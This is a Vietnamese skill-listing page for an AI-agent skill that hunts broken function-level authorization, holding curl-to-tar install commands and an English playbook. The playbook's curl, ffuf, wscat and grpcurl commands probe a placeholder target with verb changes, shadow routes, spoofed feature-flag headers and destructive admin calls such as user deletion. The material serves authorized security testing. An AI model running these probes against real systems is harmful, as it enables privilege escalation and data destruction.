hunt-broken-function-level-auth – skill Khác cho agent AI
Săn lỗi phân quyền mức hàm (broken function-level authorization) qua lệch động từ HTTP (verb drift), che khuất route (route shadowing) và khoảng trống ở tầng transport.
Cài skill hunt-broken-function-level-auth bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-broken-function-level-auth-2f3e4.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /hunt-broken-function-level-auth – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-broken-function-level-auth-2f3e4.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $hunt-broken-function-level-auth – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-broken-function-level-auth-2f3e4.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /hunt-broken-function-level-auth – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-broken-function-level-auth-2f3e4.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /hunt-broken-function-level-auth – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
Broken Function Level Authorization
Hunt for endpoints where authorization is enforced at the controller/middleware level but bypassed through HTTP verb drift, legacy routes, shadow endpoints, or transport protocol inconsistencies. Unlike IDOR (object-level), this targets ACTION-level authorization — can a user invoke admin functions despite lacking the admin role.
When to Use
- API has distinct user roles (admin, moderator, user) but role checks are per-controller, not per-method.
- Legacy or deprecated endpoints still served behind updated middleware.
- GraphQL, gRPC, and WebSocket transports exist alongside REST APIs without authorization parity.
- Feature flags or beta endpoints expose functionality before security review.
- Batch/job endpoints accept internal requests without role verification.
Quick Detection
# Verb drift: try PUT/DELETE on endpoints that return 403 on GET
for method in GET POST PUT PATCH DELETE OPTIONS; do
curl --max-time 30 --connect-timeout 10 -sk -X "$method" "https://target.com/api/admin/users" -w "$method %{http_code}\n" -o /dev/null
doneProcedure
Phase 1 — HTTP Verb Drift
# Admin endpoints — each HTTP method may have different auth
ENDPOINTS=(
"/api/admin/users"
"/api/admin/settings"
"/api/manage/orders"
"/api/internal/config"
)
for ep in "${ENDPOINTS[@]}"; do
for method in GET POST PUT PATCH DELETE; do
curl --max-time 30 --connect-timeout 10 -sk -X "$method" "https://target.com$ep" \
-w "$method $ep — %{http_code}\n" -o /dev/null
done
# Also try custom methods
curl --max-time 30 --connect-timeout 10 -sk -X "PURGE" "https://target.com$ep" -o /dev/null -w "PURGE — %{http_code}\n"
curl --max-time 30 --connect-timeout 10 -sk -X "DEBUG" "https://target.com$ep" -o /dev/null -w "DEBUG — %{http_code}\n"
donePhase 2 — Route Shadowing
# Legacy routes that bypass modern middleware
for path in "/api/v0/" "/api/v1/" "/api/legacy/" "/api/internal/" "/api/beta/" \
"/api/mobile/" "/api/partner/" "/api/integration/" "/api/webhook/"; do
curl --max-time 30 --connect-timeout 10 -sk "https://target.com${path}users" -w "%{http_code} — $path\n" -o /dev/null
done
# ffuf for route discovery
ffuf -u "https://target.com/api/FUZZ/users" \
-w /path/to/prefixes.txt \
-mc 200,301,401,403Phase 3 — Feature Flag Bypass
# Beta/preview endpoints often lack authorization
for flag in "beta" "preview" "canary" "experimental" "new" "v2" "preview"; do
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/${flag}/admin" -w "%{http_code} — $flag\n" -o /dev/null
done
# Feature flags in headers or cookies
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/admin/users" \
-H "X-Feature-Flags: admin" \
-H "X-Experimental: true" \
-H "X-Beta-Access: 1"Phase 4 — Batch & Job Endpoints
# Batch operations may skip per-item authorization
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/batch" \
-H "Content-Type: application/json" \
-d '{"operations":[{"method":"DELETE","path":"/users/1"},{"method":"GET","path":"/admin/logs"}]}'
# Background job endpoints
for path in "/api/jobs" "/api/tasks" "/api/cron" "/api/queue" "/api/workers"; do
curl --max-time 30 --connect-timeout 10 -sk "https://target.com${path}/admin-cleanup" -w "%{http_code} — $path\n" -o /dev/null
donePhase 5 — Transport Protocol Inconsistency
# GraphQL — check if mutations allow admin actions without role check
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"mutation { deleteUser(id: 1) { success } }"}'
# WebSocket — actions sent over WS may skip REST middleware
# Test via wscat
echo '{"type":"DELETE_USER","payload":{"userId":1}}' | wscat -c "wss://target.com/ws"
# gRPC — reflection may expose admin methods
grpcurl -plaintext target.com:50051 list
grpcurl -plaintext target.com:50051 admin.UserService/DeleteUserPhase 6 — Content-Type Middleware Gaps
# Different content types may hit different parsers/middleware
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/admin/users" \
-H "Accept: application/xml" \
-H "Content-Type: application/xml" \
-d '<user><name>test</name></user>'
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/admin/users" \
-H "Content-Type: multipart/form-data" \
-F "name=test"Pitfalls
- 405 Method Not Allowed ≠ no auth. The method must exist AND lack authorization to be a finding.
- Route shadowing requires the shadow endpoint to accept authenticated requests. A public user-info endpoint is not a finding.
- GraphQL
deleteUseron a consumer-facing mutation is an IDOR, not BFLA. BFLA is about action-level privileges, not object ownership. - WebSocket authorization bypass requires proof that the WS handler skips REST middleware checks. Compare WS vs REST for the same action.
Verification
1. A lower-privilege user invokes an admin-only action via an unguarded HTTP method, shadow route, or transport protocol.
2. The action succeeds (not just returns a different error — actually performs the operation).
3. The same action via the standard path (REST GET/POST) correctly returns 403.
4. Document the specific method, endpoint, and transport protocol that bypasses authorization.
Related Skills
hunt-idor— Object-level authorization (accessing other users' data).hunt-auth-bypass— Complete authentication bypass patterns.hunt-api-misconfig— API-level misconfigurations including transport gaps.
Skill liên quan
- codebase-inspection – Phân tích codebase bằng pygount: số dòng code (LOC), ngôn ngữ, tỷ lệ.
- planning-and-task-breakdown – Chia công việc thành các tác vụ theo thứ tự. Dùng khi đã có đặc tả hoặc yêu cầu rõ ràng…
- etetoolkit – Phân tích, thao tác, so sánh, chú thích và trực quan hóa cây phát sinh loài hoặc các cây…
- comfyui – Tạo ảnh, video và âm thanh qua các workflow khuếch tán (diffusion).
- capacity-planner – Dùng khi một lãnh đạo vận hành (Giám đốc CX, Trưởng bộ phận Hỗ trợ, VP Ops, Trưởng…
- capture – Thu thập và tổ chức các ý tưởng lộn xộn thành một hệ thống có cấu trúc, có thể hành…
- embedding-strategies – Chọn và tối ưu hóa mô hình embedding cho tìm kiếm ngữ nghĩa và ứng dụng RAG. Dùng khi…
- employment-contract-templates – Soạn hợp đồng lao động, thư mời làm việc và tài liệu chính sách nhân sự theo các thông…